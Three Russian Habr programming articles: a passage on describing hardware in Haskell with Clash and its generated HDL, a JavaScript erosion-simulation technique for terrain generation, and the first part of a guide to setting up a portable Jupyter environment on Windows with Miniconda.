Дальше встретится несколько непонятных терминов. Я надеюсь, они не испугают читателя. Даже если это описание будет слишком сложным, по примерам будет легко разобраться, как эти функции используются.
fmap — «поднимает» функцию от отдельной величины до функции над целым контейнером. Контейнер должен быть функтором, но почти все им является. В частности такими контейнерами являются сигналы, хранящие значения для каждого момента времени. Так же такими контейнерами являются списки, хотя для них, по историческим причинам, есть специальная функция «map» с той же функциональностью.
liftA — то же самое, что fmap, но для аппликативных функторов (о чем свидетельствует буква 'A' в названии). Сигналы так же являются аппликативными функторами, а со списками все сложнее. Формально списки тоже аппликативные функторы и liftA с ними работает ожидаемым образом. Но liftA2 и liftA3 ведут себя неожиданно, но это тема для отдельной статьи.
liftA2 и liftA3 «поднимают» функции от двух и трех аргументов до функций от контейнеров. Они будут работать с сигналами, а для списков лучше использовать zipWith и zipWith3.
Такой подход позволяет сравнительно легко моделировать на уровне [RTL](https://ru.wikipedia.org/wiki/Уровень_регистровых_передач) достаточно сложные схемы. Тактовый сигнал явно не присутствует, но подразумевается везде, где это необходимо. Регистры можно моделировать с помощью задержки или явно предусмотрев состояние в параметрах и возвращаемом значении кода узла.
```
macD r x y = acc
where
prods = zipWith (*) x y
sums = zipWith (+) acc prods
acc = 0 : zipWith (\r v -> if r == 1 then 0 else v) r sums
macS r x y = scanl macA 0 $ zip3 r x y
where
macA acc (r,x,y) = if r == 1 then 0 else acc+x*y
```
Здесь описаны две эквивалентные модели операции MAC (умножение со сложением) с аккумулятором. macD — с использованием рекурсивного сигнала с задержкой, macS — с использованием явно описанного состояния.
Если подмножество Haskell так хорошо моделирует синхронную аппаратуру, то почему бы из него не синтезировать HDL? Есть несколько проектов расширения компилятора, которое позволяет это делать: коммерческий [Bluespec](http://bluespec.com/), свободные [Lava](http://ittc.ku.edu/csdl/fpg/Tools/KansasLava) и [CλaSH](http://www.clash-lang.org/).
Clash
=====
В качестве примера я хочу рассмотреть Clash, так как он умеет компилировать и в VHDL, и в SystemVerilog, и в старый добрый Verilog (который меня привлекает тем, что используется [не только в микроэлектронике](https://geektimes.ru/company/icover/blog/273966/) :)
Процесс инсталляции достаточно подробно описан на сайте. К нему стоит отнестись внимательно — во первых заявлена совместимость с ghc-7.x (то есть с 8.x может не работать), во вторых не надо пробовать запускать «cabal install clash» — это устаревший пакет, надо устанавливать clash-ghc («cabal install clash-ghc --enable-documentation»).
Исполняемый файл clash (или clash.exe, в зависимости от OS) будет установлен в директорию "~/.cabal/bin", лучше добавить ее в $PATH.
Основной узел, с которого clash начинает компиляцию, называется topEntity, который представляет из себя функцию из входящего сигнала в исходящий (естественно, сигналы могут быть составные).
Например, рассмотрим однобитный сумматор:
```
topEntity :: Signal (Bool, Bool) -> Signal (Bool, Bool)
topEntity s = fmap (\(s1,s2) -> (s1 .&. s2, s1 `xor` s2)) s
```
**Весь файл**
```
module ADD1 where
import CLaSH.Prelude
topEntity :: Signal (Bool, Bool) -> Signal (Bool, Bool)
topEntity = fmap (\(s1,s2) -> (s1 .&. s2, s1 `xor` s2))
```
fmap превращает функцию от пары логических величин в функцию от сигнала. Откомпилировать файл в verilog можно командой «clash --verilog ADD1.hs»
**Результат**
```
// Automatically generated Verilog-2001
module ADD1_topEntity_0(a1
,result);
input [1:0] a1;
output [1:0] result;
wire [0:0] app_arg;
wire [0:0] case_alt;
wire [0:0] app_arg_0;
wire [1:0] case_alt_0;
wire [0:0] s1;
wire [0:0] s2;
assign app_arg = s1 & s2;
reg [0:0] case_alt_reg;
always @(*) begin
if(s2)
case_alt_reg = 1'b0;
else
case_alt_reg = 1'b1;
end
assign case_alt = case_alt_reg;
reg [0:0] app_arg_0_reg;
always @(*) begin
if(s1)
app_arg_0_reg = case_alt;
else
app_arg_0_reg = s2;
end
assign app_arg_0 = app_arg_0_reg;
assign case_alt_0 = {app_arg
,app_arg_0};
assign s1 = a1[1:1];
assign s2 = a1[0:0];
assign result = case_alt_0;
endmodule
```
Для работы с состоянием можно использовать автоматы Мура и Мили. Рассмотрим делитель частоты, сначала с помощью автомата Мура.
```
data DIV3S = S0 | S1 | S2
div3st S0 _ = S1
div3st S1 _ = S2
div3st S2 _ = S0
div3out S2 = True
div3out _ = False
topEntity :: Signal Bool -> Signal Bool
topEntity = moore div3st div3out S0
```
data — это конструкция Haskell описывающая тип данных. В этой программе мы описываем тип DIV3S представляющего состояние нашего автомата. Возможные значения этого типа перечислены через '|' — S0, S1 и S3.
div3st — функция состояния (символом "\_" принято называть неиспользуемый параметр, в данном случае значение входного сигнала).
div3out — функция из состояние в величину выходного сигнала.
Библиотечная функция moore создает узел по двум этим функциям и начальному состоянию.
**Выходной systemverilog**
```
// Automatically generated SystemVerilog-2005
module DIV3Moore_moore(w3
,// clock
system1000
,// asynchronous reset: active low
system1000_rstn
,result);
input logic [0:0] w3;
input logic system1000;
input logic system1000_rstn;
output logic [0:0] result;
logic [1:0] s1_app_arg;
logic [1:0] s1;
always_comb begin
case(s1)
2'b00 : s1_app_arg = 2'd1;
2'b01 : s1_app_arg = 2'd2;
default : s1_app_arg = 2'd0;
endcase
end
// register begin
logic [1:0] dout;
always_ff @(posedge system1000 or negedge system1000_rstn) begin : DIV3Moore_moore_register
if (~ system1000_rstn) begin
dout <= 2'd0;
end else begin
dout <= s1_app_arg;
end
end
assign s1 = dout;
// register end
always_comb begin
case(s1)
2'b10 : result = 1'b1;
default : result = 1'b0;
endcase
end
endmodule
```
То же самое с автоматом Мили:
```
data DIV3S = S0 | S1 | S2
div3 S0 _ = (S1, False)
div3 S1 _ = (S2, False)
div3 S2 _ = (S0, True)
topEntity :: Signal Bool -> Signal Bool
topEntity = mealy div3 S0
```
**Выходной VHDL**
```
-- Automatically generated VHDL-93
library IEEE;
use IEEE.STD_LOGIC_1164.ALL;
use IEEE.NUMERIC_STD.ALL;
use IEEE.MATH_REAL.ALL;
use std.textio.all;
use work.all;
use work.div3mealy_types.all;
entity div3mealy_mealy is
port(w2 : in boolean;
-- clock
system1000 : in std_logic;
-- asynchronous reset: active low
system1000_rstn : in std_logic;
result : out boolean);
end;
architecture structural of div3mealy_mealy is
signal y : boolean;
signal result_0 : div3mealy_types.tup2;
signal x : unsigned(1 downto 0);
signal x_app_arg : unsigned(1 downto 0);
signal x_0 : unsigned(1 downto 0);
begin
result <= y;
y <= result_0.tup2_sel1;
with (x) select
result_0 <= (tup2_sel0 => to_unsigned(1
,2)
,tup2_sel1 => false) when "00",
(tup2_sel0 => to_unsigned(2,2)
,tup2_sel1 => false) when "01",
(tup2_sel0 => to_unsigned(0,2)
,tup2_sel1 => true) when others;
-- register begin
div3mealy_mealy_register : process(system1000,system1000_rstn)
begin
if system1000_rstn = '0' then
x <= to_unsigned(0,2);
elsif rising_edge(system1000) then
x <= x_app_arg;
end if;
end process;
-- register end
x_app_arg <= x_0;
x_0 <= result_0.tup2_sel0;
end;
```
В Clash вместо списков используются вектора фиксированного размера и большинство библиотечных функций переопределено на работу с ними. Добраться до стандартных списковых функций можно добавив в файл (или выполнив в REPL) строчку `import qualified Data.List as L`. После этого можно использовать функции, явно указав префикс «L.». Например
```
*DIV3Mealy L> L.scanl (+) 0 [1,2,3,4]
[0,1,3,6,10]
```
С векторами работают большинство привычных списковых функций.
```
*DIV3Mealy L> scanl (+) 0 (1 :> 2 :> 3 :> 4 :> Nil)
<0,1,3,6,10>
*DIV3Mealy L> scanl (+) 0 $(v [1,2,3,4])
<0,1,3,6,10>
```
Но там много тонкостей, за подробностями стоит обратиться к [документации](http://hackage.haskell.org/package/clash-prelude-0.10.14/docs/CLaSH-Sized-Vector.html).
Руководство с примерами можно посмотреть [здесь](http://hackage.haskell.org/package/clash-prelude-0.10.14/docs/CLaSH-Tutorial.html).
На [сайте](http://www.clash-lang.org/) есть примеры проектов на Clash, в частности реализация [процессора 6502](https://github.com/polygonhell/Clash6502).
Перспективы
===========
Haskell очень мощный язык, и его возможно использовать для разработки DSL, например для разработки программного интерфейса устройства (с генерацией, кроме HDL, еще и через [Ivory](http://ivorylang.org) драйверов и эмуляторов для систем виртуализации), или описания архитектуры и микроархитектуры (с генерацией LLVM backend, оптимизирующий для данной микроархитектуры).
Пользуясь случаем, выражаю благодарность [yuripanchul](https://habrahabr.ru/users/yuripanchul/) за организация издания учебника «Цифровая схемотехника и архитектура компьютера», который я сейчас читаю, и который сподвиг меня на написание этой статьи. | https://habr.com/ru/post/316748/ | null | ru | null |
# Симуляция гидравлической эрозии
*Гидравлическая эрозия* — это процесс постепенного преображения водой рельеф. В основном она вызывается осадками, но на неё также влияют разбивающиеся о побережье волны океана, а также течения рек. На рисунке 1 показаны масштабные эффекты, которые может оказать небольшой поток на окружающие его скалы. При создании реалистичных окружений необходимо учитывать влияние эрозии. Я уже экспериментировал с процедурной генерацией при создании сцен для [послойного рендеринга вокселей](https://jobtalle.com/layered_voxel_rendering.html) и для демонстрации [кубического шума](https://jobtalle.com/cubic_noise.html). Такие рельефы очень просты и в них не учитывается влияние эрозии. Следовательно, им не хватает деталей, из-за чего они при близком рассмотрении кажутся нереалистичными.
*Рисунок 1: небольшой водопад.*
В этой статье я подробно расскажу о простом и быстром способе аппроксимации эффектов гидравлической эрозии. Задача этого способа заключается в создании правдоподобных окружений, а не в достижении высокой степени реализма. Пока результат выглядит естественно, ради скорости мы можем жертвовать точностью. В целом способ должен отвечать следующим требованиям:
* Результаты должны выглядеть *естественными*.
* Алгоритм должен быть *простым*.
* Алгоритм должен быть *быстрым*.
* Алгоритм должен симулировать гидравлическую эрозию, вызываемую *осадками* и *реками*.
Различные подходы
-----------------
Существуют различные подходы к реализации симуляции эрозии. Все способы симулируют одно и то же явление: воду, движущуюся из высоких точек в низкие, в процессе своего движения подвергая рельеф эрозии и смещая осадочные породы вниз по пути движения. Этот процесс всегда приводит к таким созданию таких узнаваемых особенностей рельефа, как овраги и долины в местах течения рек, дельты в местах, где реки достигают своей цели, а также [аллювиальные вееры](https://en.wikipedia.org/wiki/Alluvial_fan) в местах, где небольшие потоки соединяются в реки. В процессе изучения этой темы я встретил в исследовательской литературе следующие стратегии:
* Эрозия симулируется отслеживанием местонахождения воды для каждой позиции на рельефе. Для окружения создаётся сетка (или 2D-массив), в котором для каждой ячейки хранятся уровни воды и давления. При обновлении давления определяют, куда будет течь вода. В процессе течения вода перемещает осадочные породы.
* Эрозия симулируется бросанием на рельеф множества частиц, имитирующих капли дождя. Затем частицы перемещаются по склонам рельефа. Они могут переносить с собой осадочные породы или отлагать их.
*Рисунок 2: остров после выполнения симуляции эрозии.*
В основном из соображений скорости я решил реализовать способ с каплями. Так как большинство капель не течёт слишком далеко, многие симуляции неактивных капель можно прерывать на ранних этапах, а основная часть вычислительных ресурсов будет применяться к каплям, которые занимаются созданием особенностей рельефа. В симуляции с сеткой в каждом цикле обновления потребовалось бы симулировать каждую часть рельефа.
Снежки
------
Капли в симуляции можно рассматривать как *снежки*, а не дождевые капли. Я думаю, что в контексте этой симуляции такая аналогия будет более подходящей. При падении снежки сначала маленькие, но когда они начинают катиться вниз по склонам, то накапливают больше материала. Когда они становятся слишком большими, то начинают при движении терять материал. Когда они прекращают катиться, попадая в долины или в море, снежки распадаются и оставляют свой материал на рельефе.
Ниже представлен полный алгоритм эрозии (на *Javascript*). В этом коде для выполнения эрозии используется объект `heightMap`. Эту карту высот можно считывать и выполнять в неё запись, а функцию `sampleNormal` можно применять для получения нормали поверхности. Это 3D-вектор, указывающий вверх перпендикулярно рельефу, поэтому его можно использовать для определения направления и крутизны склона.
```
/**
* Let a snowball erode the height map
* @param {Number} x The X coordinate to start at
* @param {Number} y The Y coordinate to start at
*/
trace = function(x, y) {
const ox = (random.getFloat() * 2 - 1) * radius; // The X offset
const oy = (random.getFloat() * 2 - 1) * radius; // The Y offset
let sediment = 0; // The amount of carried sediment
let xp = x; // The previous X position
let yp = y; // The previous Y position
let vx = 0; // The horizontal velocity
let vy = 0; // The vertical velocity
for (let i = 0; i < maxIterations; ++i) {
// Get the surface normal of the terrain at the current location
const surfaceNormal = heightMap.sampleNormal(x + ox, y + oy);
// If the terrain is flat, stop simulating, the snowball cannot roll any further
if (surfaceNormal.y === 1)
break;
// Calculate the deposition and erosion rate
const deposit = sediment * depositionRate * surfaceNormal.y;
const erosion = erosionRate * (1 - surfaceNormal.y) * Math.min(1, i * iterationScale);
// Change the sediment on the place this snowball came from
heightMap.change(xp, yp, deposit - erosion);
sediment += erosion - deposit;
vx = friction * vx + surfaceNormal.x * speed;
vy = friction * vy + surfaceNormal.z * speed;
xp = x;
yp = y;
x += vx;
y += vy;
}
};
// Simulate 50000 snowballs
const snowballs = 50000;
for (let i = 0; i < snowballs; ++i)
trace(
random.getFloat() * width,
random.getFloat() * height);
// Blur the height map to smooth out the effects
heightMap.blur();
```
У алгоритма есть несколько примечательных свойств:
* Переменные `ox` и `oy` кодируют *смещение* снежка. Они используются для считывания склона рельефа с определённым смещением, чтобы сделать движение снежка чуть более грубым, позволяя снизить схождение путей снежков.
* Когда нормаль поверхности указывает ровно вверх (то есть когда значение y этой нормали равно единице), снежок останавливается. На практике это означает, что снежок достиг края симулируемой площади или морского дна, где симуляция завершается. Так как в этих областях ничего не происходит, симуляция эрозии там будет пустой тратой вычислительной мощи.
* При изменении величины осадочных пород снежок изменяет карту высот в своей предыдущей позиции, а не в текущей. Эрозия и отложение происходят в предыдущей позиции, чтобы снежки не закапывались в рельеф.
* После завершения симуляции эрозии к карте высот применяется размытие по Гауссу. Так как карта высот в этих примерах имеет низкое разрешение, требуется размытие, чтобы поверхности оставались визуально гладкими.
Так как при выполнении эрозии используется смещение и из-за довольно высокой степени эрозии, каждый отслеживаемый снежок имеет большее влияние на рельеф, чем мог бы узел меньшего размера, например, дождевая капля. Это приводит к быстрой симуляции, но снижает точность.
Результаты
----------
*Рисунок 3: результаты алгоритма эрозии.*
После применения описанного выше алгоритма с различным количеством снежков мы получаем результаты, отрендеренные на рисунке 3. Алгоритм [работает в браузере](https://jobtalle.com/HydraulicErosion), а его исходный код можно найти на [GitHub](https://github.com/jobtalle/HydraulicErosion). При нажатии на пробел генерируется новый остров. «Начальный материал» для симуляции показан на первом изображении рисунка 3. Форма острова сгенерирована при помощи алгоритма, очень похожего на тот, который я использовал в [примерах рельефа для послойного рендеринга вокселей](https://jobtalle.com/layered_voxel_rendering.html). Хотя форма имеет отдельные детали и хребты, она очень гладкая и не содержит следов гидравлической эрозии.
На втором изображении показан тот же остров после падения на него 35 000 снежков. Они падали случайным образом и распределялись равномерно. Из-за случайных изначальных условий исходной формы, структуры, напоминающие долины и реки, образуются там, где снежки нашли ближайший путь к морю. Может показаться, что 35 000 — это много, но нужно помнить, что симуляция снежков, которые достигают морского дна или края карты, сразу же завершается. Большинство капель не падает на остров, поэтому только небольшое количество скатывается по одной из долин, показанных на изображении.
На третьем изображении показан тот же остров после падения 50 000 снежков. По сравнению с предыдущим изображением не образовалось никаких новых деталей, хотя особенности рельефа стали более выраженными.
На последнем изображении показан остров после падения 100 000 снежков. Очевидно, что этого слишком много: хребты становятся очень глубокими, а побережье — очень неровным. Кроме того, результаты выглядят менее реалистично. Долины вырезают очень резкие особенности рельефа, которые самостоятельно уничтожатся вследствие эрозии.
Все острова из представленных выше изображений на моём домашнем компьютере можно сгенерировать за полсекунды, при том, что алгоритм работает на одном потоке ЦП. Следовательно, в большинстве случаев необязательно снижать количество снежков из соображений производительности, алгоритм быстр и в таком виде.
Заключение
----------
Предлагаемый алгоритм обеспечивает быстрый способ аппроксимации гидравлической эрозии. Хотя реализм не был моим приоритетом, при тестировании способа на различных рельефах проявляются вполне ожидаемые паттерны эрозии и отложений осадочных пород.
Так как код работает очень быстро (в отличие от большинства альтернативных решений, которые можно найти в литературе), он может быть применим для таких областей применения, как процедурная генерация рельефа в играх. В таких областях желательно получать результаты быстро, а сами они не обязаны быть особо реалистичными; им достаточно выглядеть убедительными.
Способ можно усовершенствовать, чтобы он отслеживал контуры русел рек. Долины, по которым скатывается много снежков, реалистичным образом могут стать реками. Когда область достигает определённого порога «трафика снежков», в ней можно создать реку или озеро.
Ещё одним интересным дополнением может стать текстура, отслеживающая количество эрозии и отложений материала на рельефе. Эти данные можно затем использовать для раскрашивания рельефа — если в области отложилось много материала, то там накапливается песок и мелкие частицы. Области, подвергнувшиеся малому объёму эрозии, будут выглядеть иначе, чем склоны с сильной эрозией.
Приложение: рендеринг прибрежных волн
-------------------------------------
*Рисунок 4: рендеринг прибрежных волн.*
В [анимированном примере](https://jobtalle.com/HydraulicErosion) показаны волны, движущиеся к побережью островов. Они только подчёркивают форму острова и украшают сцену, но никак не влияют на эрозию.
На рисунке 4 этапы создания анимации волн:
1. Сначала вокруг побережья острова создаётся [*диаграмма Вороного*](https://en.wikipedia.org/wiki/Voronoi_diagram). Диаграмма создаётся не из точек, а из фигур. Каждая часть острова, не находящаяся под уровнем моря, по сути, является точкой диаграммы Вороного. В [этом посте](https://blog.demofox.org/2016/02/29/fast-voronoi-diagrams-and-distance-dield-textures-on-the-gpu-with-the-jump-flooding-algorithm/) объясняется *алгоритм заливки скачками*, который использовался для генерации диаграммы Вороного на GPU; в этом посте также объясняется использование фигур для построения диаграммы.
2. После создания диаграммы Вороного её данные используются для создания текстуры, в которой для каждого пикселя хранятся расстояние и направление до ближайшей точки побережья. На рисунке 4 показано, что для хранения вектора направления использованы каналы красного и зелёного. Величина этого вектора кодирует расстояние до берегам (чёрные области дальше всего от побережья).
3. Создаётся синусоида, представляющая глобальный паттерн волн. Позиция синусоиды определяется по направлению к ближайшей точке побережья, и волна медленно сдвигается в сторону берега. Если волны трёхмерные, то направление к ближайшей точке побережья можно использовать для вычисления нормалей поверхности формы волны.
4. В конце волны стилизуются, а паттерны волн немного разделяются, чтобы создать ощущение, что все волны являются отдельными сущностями.
[Эта анимация](https://twitter.com/jobtalle/status/1262669751643447301) демонстрирует этапы рисунка 4 в реальном времени.
> См. также:
>
>
>
> * «[Процедурная гидрология: динамическая симуляция рек и озёр](https://habr.com/ru/post/498290/)»
> * «[Симуляция эрозии рельефа на основе частиц](https://habr.com/ru/post/496762/)»
> * «[Радикально новая схема предотвращения катастрофического повышения уровня моря](https://habr.com/ru/post/410261/)»
> | https://habr.com/ru/post/506764/ | null | ru | null |
# Создание и настройка портативной сборки Jupyter Notebook и Lab на Windows. Часть 1
Всем привет. Когда я начинал изучение Python, устанавливал впервые Jupyter Notebook, потом пытался передать с созданное в нём приложение на предприятие, я часто сталкивался с различными проблемами. То кириллица в имени пользователя мешает, то настройки не перенеслись, то ещё чего-то. Все эти проблемы я преодолел в основном самостоятельно, используя Google и затратив немало времени на их решение.
По мере роста опыта я научился создавать папку, в которой лежит переносимое с одного компьютера на другой виртуальное окружение Python, настройки Jupyter и Matplotlib, портативные программы (ffmpeg и др.) и шрифты. Я мог написать дома программу, скопировать всю эту папку на компьютер предприятия, и быть уверенным, что ничего не потеряется и не сломается на ровном месте. Потом я подумал, что такую папку можно дать и новичку в Python, и он получит полностью настроенную и переносимую среду.
**Оглавление**
* [Введение](#h-1)
* [Краткая инструкция по созданию портативной сборки Jupyter](#h-2)
* [Установка Miniconda (Python 3.7)](#h-3)
* [Создание структуры каталогов](#h-4)
* [Создание переносимого виртуального окружения Python](#h-5)
+ [Создание виртуального окружения с помощью conda](#h-6)
+ [Исправление ошибки HTTP 000 CONNECTION FAILED при создании виртуального окружения](#h-7)
+ [Активация виртуального окружения](#h-8)
+ [Установка пакетов Python в виртуальном окружении](#h-9)
+ [Выход из виртуального окружения Python](#h-10)
* [Подготовка портативной сборки Jupyter к запуску](#h-11)
+ [Настройка переменных окружения для Jupyter, IPython и Matplotlib](#h-12)
+ [Создание файла для запуска Jupyter с настройками пользователя](#h-13)
+ [Дополнительные файлы для выполнения служебных действий](#h-14)
* [Заключение](#h-15)
Введение
--------
В последние годы Python стал популярным языком программирования. Его часто используют для написания математических расчётов, анализа больших данных, машинного обучения и построения нейросетей. После появления конструкций `asinc` и `await` стало возможным написания быстрых веб-фреймворков. Производительность Python постепенно повышается из релиза в релиз, а использование Cython или Numba может сделать приложение даже более быстрым, чем на других языках программирования. Например, скорость работы веб-фреймворка [Vibora](https://vibora.io/)(en) сопоставима со скоростью работы решений на [Go](https://golang.org/)(en). В 2018 году Python официально стал языком для изучения в школах и вузах [Франции](https://www.reddit.com/r/Python/comments/9y972g/python_will_be_the_official_programming_language/)(en) и [Казахстана](https://www.reddit.com/r/Python/comments/9ybmyw/python_is_already_official_programming_language/)(en). В России как минимум некоторые кафедры перешли на Python, например, кафедра [РК-6](https://rk6.bmstu.ru/)(ru) в МГТУ им. Н.Э. Баумана.
Приступая к изучению Python, новые пользователи порой сталкиваются с трудностями при установке необходимых библиотек и настройке среды программирования. Если имя пользователя Windows содержит не латинские символы, некоторые библиотеки могли не установиться или не запускаться. У начинающих пользователей могут возникать проблемы с настройкой Jupyter Notebook на локальном компьютере. Если он установлен на диске `C:\`, как открыть файл на диске `D:\`? Когда я делал первые шаги в Python, мне тоже приходилось преодолевать эту трудности.
Наконец, если все проблемы позади, могут возникнуть трудности передать приложение другому пользователю. Я сталкивался с ситуацией, когда созданное мною виртуальное окружение для Python отказывалось работать на другом компьютере. Кроме того, Jupyter Notebook и Matplotlib хранят свои настройки в папке пользователя, что усложняет перенос приложений, использующих специфичные настройки.
Решением описанных выше проблем будет создание полностью портативной сборки Jupyter Notebook и/или Jupyter Lab на Windows. Она хранит в себе интерпретатор Python, его библиотеки и настройки, настройки всех необходимых сторонних библиотек, включая Matplotlib и Jupyter, не привязано к имени пользователя и не будет ругаться, если вы запустите её на другом компьютере. Мы можем упаковать такую сборку в архив, либо написать скрипт или программу, которая создаст такую же сборку на компьютере абсолютного новичка. Более продвинутым пользователям портативная сборка может быть полезна тем, что она позволяет хранить окружение Python и настройки библиотек в разных местах. Вы можете разместить папку с настройками в специальное место, которое синхронизируется с облачным хранилищем: Dropbox, облако Mail.ru\*, Яндекса или Google. За счёт этого на всех компьютерах автоматически получится локально работающая среда с одинаковыми настройками.
\*Да, то самое, клиент которого под Linux [больше не коннектится](http://www.opennet.ru/opennews/art.shtml?num=50073)(ru). Если уберут аналогичный под Windows, мне придётся искать замену. 1 Тб на дороге бесплатно не валяется.
Для простоты восприятия материала я решил описать создание портативной сборки под Windows. Но эта инструкция с минимальными изменениями годится для создания сборки на Linux и Mac OS. Статья в первую очередь предназначена для новичков, поэтому я постарался описать как можно подробнее и проще для восприятия.
Статья состоит из двух частей. В первой части мы создадим портативную сборку, во второй займёмся настройками для Jupyter Notebook, Jupyter Lab, IPython и Matplotlib.
Краткая инструкция по созданию портативной сборки Jupyter
---------------------------------------------------------
1. Создайте папку `C:\Dev`. В ней будут установлены Minconda и портативная сборка Jupyter\*.
\*Здесь и далее Jupyter = Jupyter Notebook + Juputer Lab.
2. Скачайте инсталлятор Miniconda с сайта <https://conda.io/miniconda>(en). Выберите Python 3 для Windows 64 бит или 32 бит в зависимости от разрядности вашей операционной системы. Установите Miniconda в папку `C:\Dev\Miniconda3`.
3. Создайте следующую структуру каталогов для портативной сборки Jupyter:
```
C:\
Dev\
Jupyter\
dist\
apps\
conf\
backup\
ipython\
jupyter\
matplotlib\
fonts\
projects\
```
4. Создайте виртуальное окружение для Python с помощью `conda`\*:
```
C:\Dev\Miniconda3\Scripts\conda.exe create -p C:\Dev\Jupyter\dist\pyenv3.7-win64 --copy --yes python=3 conda
```
\*Вы можете использовать канал `conda-forge` для установки более свежих библиотек, добавив аргумент `-c conda-forge`:
```
C:\Dev\Miniconda3\Scripts\conda.exe create -p C:\Dev\Jupyter\dist\pyenv3.7-win64 --copy --yes -c conda-forge python=3 conda
```
5. Активируйте окружение и установите пакеты Python с помощью `pip`\*:
```
C:\Dev\Jupyter\dist\pyenv3.7-win64\Scripts\activate
pip --no-cache-dir install numpy scipy matplotlib jupyter jupyterlab
```
Примечание: если вам необходимо установить Numpy и Scipy, которые используют библиотеку MKL от Intel для ускорения расчётов, [используйте](https://software.intel.com/en-us/articles/installing-the-intel-distribution-for-python-and-intel-performance-libraries-with-pip-and)(en) `intel-numpy` вместо `numpy` и `intel-scipy` вместо `scipy` (устанавливается только в Python 3.6!):
```
pip --no-cache-dir install intel-numpy intel-scipy matplotlib jupyter jupyterlab
```
После установки выполните:
```
conda.bat deactivate
```
\*Если возникнут ошибки при установке, попробуйте так:
```
C:\Dev\Jupyter\dist\pyenv3.7-win64\Scirpts\activate
conda config --add channels conda-forge
conda install numpy scipy matplotlib jupyter jupyterlab
```
и после окончания установки
```
conda.bat deactivate
```
6. В папке `C:\Dev\Jupyter\dist` создайте файл `setenv.bat`, который будет управлять тем, где Jupyter и Matplotlib будут хранить свои настройки:
```
@echo off
set conf_path=%~dp0\conf
set JUPYTER_CONFIG_DIR=%conf_path%\jupyter
set JUPYTER_DATA_DIR=%conf_path%\jupyter\data
set JUPYTER_RUNTIME_DIR=%conf_path%\jupyter\data\runtime
set IPYTHONDIR=%conf_path%\ipython
set MPLCONFIGDIR=%conf_path%\matplotlib
REM Matplotlib search FFMPEG in PATH variable only!
set PATH=%~dp0\apps\ffmpeg\bin;%PATH%
```
7. В папке `C:\Dev\Jupyter\dist` создайте файл `run_jupyter_notebook.bat` для запуска Jupyter Notebook с заданными параметрами:
```
@echo off
call %~dp0\setenv.bat
call %~dp0\pyenv3.7-win64\Scripts\jupyter-notebook.exe --notebook-dir=%1
```
8. Аналогично, в папке `C:\Dev\Jupyter\dist` создайте файл `run_jupyter_lab.bat` для запуска Jupyter Lab с заданными параметрами:
```
@echo off
call %~dp0\setenv.bat
call %~dp0\pyenv3.7-win64\Scripts\jupyter-lab.exe --notebook-dir=%1
```
9. В папке `C:\Dev\Jupyter\dist` создайте файл `enable_extension.bat`, который активирует заданное расширение в Jupyter Notebook:
```
@echo off
REM Enable extension in Jupyter Notebook.
REM Example:
REM enable_extension.bat widgetsnbextension
call %~dp0\setenv.bat
call %~dp0\pyenv3.7-win64\Scripts\jupyter-nbextension.exe enable %1
```
10. Предположим, что рабочие файлы находятся в папке `D:\my-projects`. В этой папке создайте ярлыки на файлы `run_jupyter_notebook.bat` и `run_jupyter_lab.bat`. После создания каждого из ярлыков зайдите в его свойства и очистите строку «Рабочая папка». Если не очистить — Jupyter не увидит нужную вам папку!
11. Портативная сборка Jupyter создана и готова к настройке и работе. Для начала работы просто кликните по созданным ярлыкам. Если вы решите не удалять установленную Miniconda, вы можете сократить размер папки `C:\Dev\Miniconda3` следующей командой:
```
C:\Dev\Miniconda3\Scripts\conda.exe clean --all
```
После выполнения данной команды нужно зайти в папку `C:\Dev\Miniconda3\pkgs` и очистить содержимое папки `.trash`. Только тогда мы действительно сократим размер папки `Miniconda3`.
Установка Miniconda (Python 3.7)
--------------------------------
Давайте создадим в корне диска `C:\` папку `Dev`. В этой папке я складываю все программы и инструменты для разработки, которые почему-то предпочитают устанавливаться не в `C:\Program Files`. Например, туда я устанавливаю Ruby, Go, Python, Jupyter, Msys, SQLite Studio и т.д.
Сначала нам необходимо установить Python. У Python есть две ветки: Python 2 и Python 3. Python 2 [поддерживается](https://pythonclock.org/)(en) до 2020 года, поэтому будем ставить только Python 3.
Для установки Python 3 обычно обращаются к официальному сайту [python.org](https://www.python.org/)(en), откуда скачивают его и устанавливают. Однако мы хотим получить *переносимую* сборку, поэтому поступим иначе: мы скачаем и установим Miniconda.
Что такое Miniconda? По факту это Python с предустановленным и настроенным менеджером пакетов `conda`. Консольная программа `conda` позволит нам создать папку, в которой будет Python нужной нам версии вне зависимости от того, какая версия Python идёт в составе Miniconda. Также с помощью `conda` в эту папку можно установить практически все известные библиотеки для Python: Numpy, Scipy, Matplotlib, Sympy и т.д. Папка, в которую установлен Python и его библиотеки, называется виртуальным окружением. Библиотеки для Python поставляются в форме специальных архивов, которые называются пакетами.
У conda есть отличительные особенности, из-за которой она удобна и для начинающих и опытных пользователей:
* Пакеты Python, которые устанавливаются через conda, уже скомпилированы под Windows. Меньше вероятность, что попытка установить его завершится ошибкой\*.
* Вы можете создать виртуальное окружение с той версией Python, которая вам нужна. Не имеет значения, какая версия Python установлена с Miniconda.
\*Надо отметить, что ситуация с установкой пакетов в Python из года в год улучшается. Несколько лет назад я не смог установить Numpy через `pip` (выдавалась ошибка), и я использовал `conda`. В 2018 году я попробовал последнюю версию `pip`, и скачался файл с расширением `.whl` (так называемое «колесо») с уже скомпилированным Numpy, и всё установилось прекрасно.
Итак, нам нужно скачать и установить Miniconda. Для этого пройдём на <https://conda.io/miniconda>(en) и выберем 64-битную версию для Windows на Python 3. Если у вас 32-битных компьютер, вам следует скачать 32-битную версию.
Miniconda ставится так же, как и обычное Windows приложение:
1. Запускаем инсталлятор, жмём Next
2. Соглашаемся с лицензионным соглашением I Agree
3. Я предпочитаю установку для всех пользователей, потому что это даст мне возможность указать путь для установки. Выбираем пункт «All users»:
4. Корректируем путь для установки на `C:\Dev\Miniconda3`:
5. Здесь я ставлю оба флажка. Флажок «Add Anaconda to the system PATH environment variable» сделает команду `conda` доступной в терминале из любого каталога. Если вы этот флажок не поставите, единственное, что изменится, это то, что в терминале вместо `conda` вам понадобится набрать полный путь к `conda.exe`. Я не устанавливаю Anaconda, потому что она мне ставит много чего лишнего, поэтому я игнорирую нежелательность установки данного флажка. Если вы поставите этот флажок, а после установки передумаете, вы можете просто удалить `conda` из системных переменных. Это просто. Но если не знаете, можете загуглить или спросить. Контакты в конце статьи.
Я также ставлю флажок «Register Anaconda as the system Python 3.7». Если какой-то программе вдруг понадобится Python, она будет использовать Python, установленный вместе с Miniconda. Также данный флажок сделает команду `python` доступной в терминале из любой папки. Данный флажок желательно поставить, если до этого вы не устанавливали Python. Если уже какой-то Python установлен, я бы не советовал ставить этот флажок сейчас, а скорректировать системные переменные при необходимости.
